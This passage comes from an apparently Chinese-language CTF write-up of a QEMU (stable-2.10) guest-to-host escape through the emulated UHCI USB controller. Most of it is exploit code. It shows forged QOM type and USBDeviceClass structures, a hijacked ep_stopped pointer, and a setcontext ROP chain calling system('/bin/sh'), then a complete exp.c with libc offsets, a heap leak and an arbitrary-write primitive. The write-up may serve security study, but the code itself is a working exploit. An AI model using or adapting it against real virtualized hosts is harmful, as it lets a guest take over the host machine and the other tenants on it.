通过分析,我们只需要伪造一个type->parent字符串为对象的名字,比如usb-device,同时伪造type->parent_type为0,这样,就可以调用type_get_by_name从全局对象hash表中查找对应的Type返回。
于是,我们的伪造如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
uint64_t payload[0x400/0x8];

int type_base = 0x25;

payload[0x0] = dev_addr + 0x10;
//fake a USBDeviceClass at dev_addr + 0x10
payload[0x2] = dev_addr + type_base*0x8; //type
payload[0x9] = dev_addr + 0x8; //bus
payload[0xe] = dev_addr + 0x8; //port

//fake a type
payload[type_base] = 0; //name
payload[type_base+0xb] = dev_addr + (type_base + 0xe) * 8;
payload[type_base+0xc] = 0; //type->parent_type
payload[type_base+0xd] = dev_addr + 0x8; //type->class
char *p = "usb-device";
memcpy(&payload[type_base + 0xe],p,strlen(p)+1);


arb_write_seq(dev_addr,payload,0x400);

usb_device_ep_stopped下断点进行调试,这次成功通过了校验

1
2
3
4
5
6
7
8
9
10
11
12
In file: /home/sea/Desktop/qemu/hw/usb/bus.c
218 }
219
220 void usb_device_ep_stopped(USBDevice *dev, USBEndpoint *ep)
221 {
222 USBDeviceClass *klass = USB_DEVICE_GET_CLASS(dev);
► 223 if (klass->ep_stopped) {
224 klass->ep_stopped(dev, ep);
225 }
226 }
pwndbg> p klass
$23 = (USBDeviceClass *) 0x555955f036d0

klass指向了我们伪造的class,为了进一步缩小远程的qemu版本范围,我们将type->parent字符串修改为一个任意值,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
uint64_t payload[0x400/0x8];

int type_base = 0x25;

payload[0x0] = dev_addr + 0x10;
//fake a USBDeviceClass at dev_addr + 0x10
payload[0x2] = dev_addr + type_base*0x8; //type
payload[0x9] = dev_addr + 0x8; //bus
payload[0xe] = dev_addr + 0x8; //port

//fake a type
payload[type_base] = 0; //name
payload[type_base+0xb] = dev_addr + (type_base + 0xe) * 8;
payload[type_base+0xc] = 0; //type->parent_type
payload[type_base+0xd] = dev_addr + 0x8; //type->class
char *p = "aaaaaa";
memcpy(&payload[type_base + 0xe],p,strlen(p)+1);


arb_write_seq(dev_addr,payload,0x400);

上传到远程环境执行,会有异常提示

1
2
3
4
5
6
/ # ./exp
.....................
**
ERROR:qom/object.c:167:type_get_parent: assertion failed: (type->parent_type != NULL)
Bail out! ERROR:qom/object.c:167:type_get_parent: assertion failed: (type->parent_type != NULL)
Aborted (core dumped)

qom/object.c的第167行断言失败,结合两处的报错行数,我们确定出了qemu的版本是stable-2.10,那么将该版本的代码下载过来编译,就能尽可能的接近远程的环境。通过调试,确定了klass->ep_stopped函数指针的偏移,因此我们在对应的位置上伪造好gadgets

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//ep_stopped
payload[0x24] = mov_rdx_qp_rdi;


int rop_start = 0x40;
//ROP
payload[0x1] = dev_addr + rop_start*8 ;
//rdx
payload[rop_start+0x4] = set_context;
payload[rop_start+0xa0/0x8] = dev_addr + (rop_start*8+0xb0); //new stack
payload[rop_start+0xa8/0x8] = pop_rdi_rbp;
payload[rop_start+0xb0/0x8] = dev_addr + (rop_start*8+0xc8);
payload[rop_start+0xc0/0x8] = system_addr;


char *cmd = "/bin/sh";
memcpy(&payload[rop_start+0xc8/0x8],cmd,strlen(cmd)+1);

EXP

最终的exp.c如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/io.h>

#define LOCAL
#ifdef LOCAL
#define ARENA_OFFSET 0x1e3c
00
#define SYSTEM_OFFSET 0x503c0
#define GADGET_OFFSET 0x14b760
#define SETCONTEXT_OFFSET 0x5306d
#define POP_RDI_RBP_OFFSET 0x29522
#else
#define ARENA_OFFSET 0x1e0c00
#define SYSTEM_OFFSET 0x4fa60
#define GADGET_OFFSET 0x14a0a0
#define SETCONTEXT_OFFSET 0x529AD
#define POP_RDI_RBP_OFFSET 0x28db2
#endif

#define PFN_MASK ((((size_t)1)<<54)-1)
#define UHCI_BASE 0xc040

#define UHCI_CMD_HCRESET (1 << 1)
#define UHCI_CMD_RS (1 << 0)

#define UHCI_PORT_RESET (1 << 9)
#define UHCI_PORT_EN (1 << 2) //enable
#define UHCI_PORT_CCS (1 << 0)

#define TD_CTRL_ACTIVE (1 << 23)
#define TD_CTRL_SPD (1 << 29) //we need this to allow we send more than two

#define USB_TOKEN_SETUP 0x2d
#define USB_TOKEN_IN 0x69 /* device -> host */
#define USB_TOKEN_OUT 0xe1 /* host -> device */

#define USB_DIR_OUT 0
#define USB_DIR_IN 0x80

typedef struct UHCI_TD {
uint32_t link;
uint32_t ctrl; /* see TD_CTRL_xxx */
uint32_t token;
uint32_t buffer;
} UHCI_TD;

typedef struct USBEndpoint USBEndpoint;
typedef struct USBDevice USBDevice;

struct USBEndpoint {
uint8_t nr;
uint8_t pid;
uint8_t type;
uint8_t ifnum;
int max_packet_size;
int max_streams;
bool pipeline;
bool halted;
USBDevice *dev;
USBEndpoint *fd;
USBEndpoint *bk;
};

struct USBDevice {
int32_t remote_wakeup;
int32_t setup_state;
int32_t setup_len;
int32_t setup_index;

USBEndpoint ep_ctl;
USBEndpoint ep_in[15];
USBEndpoint ep_out[15];
};


struct UHCI_TD * td;
uint32_t *td_phy_addr_in_any_frame;

char *dmabuf;
unsigned char *data_buf;
uint64_t data_buf_addr;
char *setup_buf;

void die(char *msg) {
perror(msg);
exit(-1);
}
/*向设备写入数据*/
void pmio_write(uint32_t addr,uint32_t val) {
outl(val,UHCI_BASE + addr);
}

/*从UHCI读取数据*/
uint32_t pmio_read(uint32_t addr) {
return (uint32_t)inl(UHCI_BASE + addr);
}
//虚拟地址转换为物理地址
size_t get_phys_addr(void *vir_addr) {
int fd = open("/proc/self/pagemap", O_RDONLY); /*打开页映射表*/
if (fd == -1) {
die("open pagemap error");
}
size_t vir = (size_t)vir_addr;
// /0x1000获得是第n页的这个n,由于一个记录数据8字节,因此*8,算的的就是该页在文件里的记录的偏移
size_t offset = vir / 0x1000 * 8;
if (lseek(fd,offset,SEEK_SET) == -1) {
die("lseek pagemap error");
}
size_t addr;
if (read(fd,&addr,8) != 8) {
die("read pagemap error");
}
addr = (addr & PFN_MASK) * 0x1000 + vir % 0x1000;
return addr;
}


void init() {
/* 映射一块dmabufs 也就是dma模式的读写,读写的数据都在这块内存上*/
dmabuf = mmap(0, 0x6000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (dmabuf == MAP_FAILED)
die("mmap");
/* 上锁,防止被调度 */
mlock(dmabuf, 0x6000);

td = (UHCI_TD *)dmabuf;
td_phy_addr_in_any_frame = (uint32_t *)(dmabuf + 0x100);

setup_buf = dmabuf + 0x300;
data_buf = dmabuf + 0x1000;
}


void set_UHCIState() {
//清空UHCI之前的状态,这样我们在下一次就可以触发定时任务了
pmio_write(0,UHCI_CMD_HCRESET);
//初始化USB端口
for(int i=0x10;i <= 0x1f;i++)
pmio_write(i, UHCI_PORT_CCS | UHCI_PORT_RESET | UHCI_PORT_EN);
uint32_t td_phy_addr = get_phys_addr(td);
*td_phy_addr_in_any_frame = td_phy_addr;
//pmio_write(6, 0); //设置s->frnum为0
pmio_write(8, td_phy_addr); //设置s->fl_base_addr为td结构体的物理地址
pmio_write(0, UHCI_CMD_RS);
sleep(1);
}

void init_state() {
//初始化时,使用正常的长度
setup_buf[6] = 0xff;
setup_buf[7] = 0x0;
td->link = get_phys_addr(td);
td->ctrl = TD_CTRL_ACTIVE | TD_CTRL_SPD;
td->token = USB_TOKEN_SETUP | 0x7 << 21;
td->buffer = get_phys_addr(setup_buf);
puts("set_UHCIState");
set_UHCIState();
}

void set_length(uint16_t len, uint8_t option){
setup_buf[0] = USB_TOKEN_IN | option;
//set the length
setup_buf[6] = len & 0xff;
setup_buf[7] = (len >> 8 ) & 0xff;
td->ctrl = TD_CTRL_ACTIVE | TD_CTRL_SPD;
td->token = USB_TOKEN_SETUP | 0x7 << 21;
td->buffer = get_phys_addr(setup_buf);
set_UHCIState();
}

//do_token_in读取数据
void do_copy_read(uint16_t len){
//设置token进入do_token_in
td->ctrl = TD_CTRL_ACTIVE | TD_CTRL_SPD;
td->token = USB_TOKEN_IN | (len-1) << 21; //设置p->iov.size
td->buffer = get_phys_addr(data_buf);
set_UHCIState();
}

//do_token_out写入数据
void do_copy_write(int offset, unsigned int setup_len, unsigned int setup_index, uint16_t len){
if (len == 0x11) {
len = len - 1;
*(unsigned long *)(data_buf + offset) = 0x0000000200000002; //setup_state覆盖成原先的内容
*(unsigned int *)(data_buf + 0x8 +offset) = setup_len; //覆盖setup_len
*(unsigned int *)(data_buf + 0xc+ offset) = setup_index; //覆盖setup_index
}
td->ctrl = TD_CTRL_ACTIVE | TD_CTRL_SPD;
td->token = USB_TOKEN_OUT | (len-1) << 21;
td->buffer = get_phys_addr(data_buf);
set_UHCIState();
}

//任意写
void arb_write_seq(uint64_t target_addr, uint64_t *payload,uint64_t len)
{
//初始化setup_state
set_length(0x500, USB_DIR_OUT);
unsigned long offset = target_addr - data_buf_addr;
//设置越界长度
set_length(0x1010, USB_DIR_OUT);
puts("set index");
//getchar();
//将setup_index设置为0x1000
do_copy_write(0, 0, 0, 0x400);
do_copy_write(0, 0, 0, 0x400);
do_copy_write(0, 0, 0, 0x400);
do_copy_write(0, 0, 0, 0x400);
//覆盖setup_state、setup_len、setup_index
do_copy_write(0, offset+len, offset-0x10, 0x11);


memcpy(data_buf,payload,len);
//puts("wait");
//getchar();
do_copy_write(0, 0xffff, 0,len);
}


int main() {
init();
//申请IO权限
iopl(3);
init_state();
set_length(0x5000,USB_DIR_IN);
for(int i = 0; i < 4; i++)
do_copy_read(0x400); //set index 0x1000
do_copy_read(0x400); //read 0x400 to dmabuf

struct USBDevice* usb_device_tmp = (struct USBDevice *)(data_buf + 0x4);
struct USBDevice usb_device;
memcpy(&usb_device,usb_device_tmp,sizeof(USBDevice));

uint64_t dev_addr = (uint64_t)(usb_device.ep_ctl.dev);
data_buf_addr = dev_addr + 0xdc - 0x8;
//data_buf_addr = dev_addr + 0xdc;

printf("USBDevice dev_addr: 0x%lx\n", dev_addr);
printf("USBDevice->data_buf: 0x%lx\n", data_buf_addr);
uint64_t *tmp = (uint64_t *)(data_buf + 0x4);
uint64_t libc_base = -1;
uint64_t main_arena_xx_addr;
//搜索main_arena指针
for (int j=0;j<100;j++) {
for (int i=0;i<0x400/0x8;i++) {
main_arena_xx_addr = tmp[i];
if ((main_arena_xx_addr >> 40) == 0x7f && ((main_arena_xx_addr & 0xfff) == 0xc00)) {
//printf("heap size=0x%lx fd=0x%lx\n",tmp[i-1],main_arena_xx_addr);
libc_base = main_arena_xx_addr - ARENA_OFFSET;
goto outer;
}
}
//write(1,data_buf,0x400);
do_copy_read(0x400);
}

outer:
if(libc_base == -1){
printf("Error,DO IT AGAIN\n");
return 0;
}

uint64_t system_addr = libc_base + SYSTEM_OFFSET;
printf("leak libc_base address : 0x%lx!\n", libc_base);
printf("leak system_addr address: 0x%lx!\n", system_addr);
uint64_t mov_rdx_qp_rdi = libc_base + GADGET_OFFSET; //mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
uint64_t set_context = libc_base + SETCONTEXT_OFFSET;
uint64_t pop_rdi_rbp = libc_base + POP_RDI_RBP_OFFSET;


uint64_t payload[0x400/0x8];

int type_base = 0x25;

payload[0x0] = dev_addr + 0x10;
//fake a USBDeviceClass at dev_addr + 0x10
payload[0x2] = dev_addr + type_base*0x8; //type
payload[0x9] = dev_addr + 0x8; //bus
payload[0xe] = dev_addr + 0x8; //port

//ep_stopped
payload[0x24] = mov_rdx_qp_rdi;


int rop_start = 0x40;
//ROP
payload[0x1] = dev_addr + rop_start*8 ;
//rdx
payload[rop_start+0x4] = set_context;
payload[rop_start+0xa0/0x8] = dev_addr + (rop_start*8+0xb0); //new stack
payload[rop_start+0xa8/0x8] = pop_rdi_rbp;
payload[rop_start+0xb0/0x8] = dev_addr + (rop_start*8+0xc8);
payload[rop_start+0xc0/0x8] = system_addr;


char *cmd = "/bin/sh";
memcpy(&payload[rop_start+0xc8/0x8],cmd,strlen(cmd)+1);


//fake a type
payload[type_base] = 0; //name
payload[type_base+0xb] = dev_addr + (type_base + 0xe) * 8;
payload[type_base+0xc] = 0; //type->parent_type
payload[type_base+0xd] = dev_addr + 0x8; //type->class
char *p = "usb-device";
memcpy(&payload[type_base + 0xe],p,strlen(p)+1);


arb_write_seq(dev_addr,payload,0x400);
}

0x06 参考